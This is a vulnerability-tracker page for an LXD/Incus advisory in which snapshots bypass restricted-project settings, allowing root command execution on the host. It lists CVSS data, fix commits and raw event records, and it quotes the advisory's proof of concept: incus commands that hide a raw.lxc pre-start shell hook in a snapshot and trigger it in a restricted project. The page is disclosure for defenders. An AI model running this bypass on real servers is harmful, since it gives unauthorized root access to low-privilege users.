nday
GHSA-47w9-6r3f-938g

LXD has restricted project bypass leading to arbitrary command execution

披露于 。已有补丁记录,修复版本是 github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1。四个 PoC 来源都还没有收录。尚未列入 CISA KEV。

标签 漏洞类型broken access control 攻击途径网络无需用户交互 软件包生态Go
这些标签的依据

这些标签由 nday 按固定规则从下列事实自动推导,不是 NVD、编号分配方或其他来源给出的。全部标签和规则见 ~/tags。

broken access control
CWE-862(来源:GitHub 公告 GHSA-47w9-6r3f-938g)
网络
GitHub 公告 GHSA-47w9-6r3f-938g 给出的 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(CVSS 3.1)中的 AV:N
无需用户交互
GitHub 公告 GHSA-47w9-6r3f-938g 给出的 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(CVSS 3.1)中的 UI:N
Go
GHSA-47w9-6r3f-938g:go 包 github.com/canonical/lxd
当前阶段
PAT
披露
CVSS
9.9 CRITICAL v3.1

生命周期

横轴 UTC;点=精确到分钟,宽条=仅日期,空心=未知或推定。
时间未知
DIS披露
11-06T19:51Z
PAT补丁
github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1
ANA分析
尚无记录
POCPoC
尚无记录
ITW在野
尚无记录
KEVKEV
尚无记录

摘要

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

### Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

### PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

### Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

以上是 GitHub 安全公告 GHSA-47w9-6r3f-938g 中的原文,未经改写。

利用条件

按 CVSS 向量说明攻击需要的条件。
攻击途径 AV:N
网络:攻击者只要能通过网络访问到目标即可
攻击复杂度 AC:L
低:不依赖特殊条件,攻击者可预期重复成功
所需权限 PR:L
低:普通用户权限
用户交互 UI:N
无:除攻击者外不需要任何人配合

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 向量,来自 GitHub 安全公告 GHSA-47w9-6r3f-938g。

事件记录

+DIS披露

ghsa 报告了披露事件。

来源 ghsa · 本站 批量导入 · 原始记录
{
  "id": 473909,
  "type": "disclosed",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-47w9-6r3f-938g",
  "occurred_at": "2026-11-06T19:51:26Z",
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-47w9-6r3f-938g",
  "detail": {
    "state": "PUBLISHED",
    "ghsa_id": "GHSA-47w9-6r3f-938g",
    "withdrawn_at": null
  }
}
时间未知来源未给出时间
+PAT补丁发布

公告给出修复版本 github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1。公告附有修复提交。公告本身发布于 ,补丁实际发布时间没有记录。

来源 ghsa · 本站 批量导入 · 原始记录
{
  "id": 473910,
  "type": "patch_released",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-47w9-6r3f-938g",
  "occurred_at": null,
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-47w9-6r3f-938g",
  "detail": {
    "cvss": {
      "cvss_v3": {
        "score": 9.9,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "name": "Missing Authorization",
        "cwe_id": "CWE-862"
      }
    ],
    "ghsa_id": "GHSA-47w9-6r3f-938g",
    "packages": [
      {
        "name": "github.com/canonical/lxd",
        "ecosystem": "go",
        "first_patched_version": "0.0.0-20260630083100-c5184be310b1",
        "vulnerable_version_range": "< 0.0.0-20260630083100-c5184be310b1"
      }
    ],
    "severity": "critical",
    "references": [
      "https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g",
      "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-48751",
      "https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49",
      "https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b",
      "https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe",
      "https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19",
      "https://github.com/canonical/lxd/releases/tag/lxd-5.0.7",
      "https://github.com/canonical/lxd/releases/tag/lxd-5.21.5",
      "https://github.com/advisories/GHSA-47w9-6r3f-938g"
    ],
    "fix_commit_urls": [
      "https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49",
      "https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b",
      "https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe",
      "https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19"
    ],
    "github_reviewed_at": "2026-11-06T19:51:26Z",
    "advisory_updated_at": "2026-11-06T19:51:26Z",
    "source_code_location": "https://github.com/canonical/lxd",
    "advisory_published_at": "2026-11-06T19:51:26Z"
  }
}

纠错

报告错误或缺失

页面有误或缺失?告诉编辑;采纳后在本页修订记录公开说明,上游数据不会被改动。

讨论

0 条评论

还没有评论。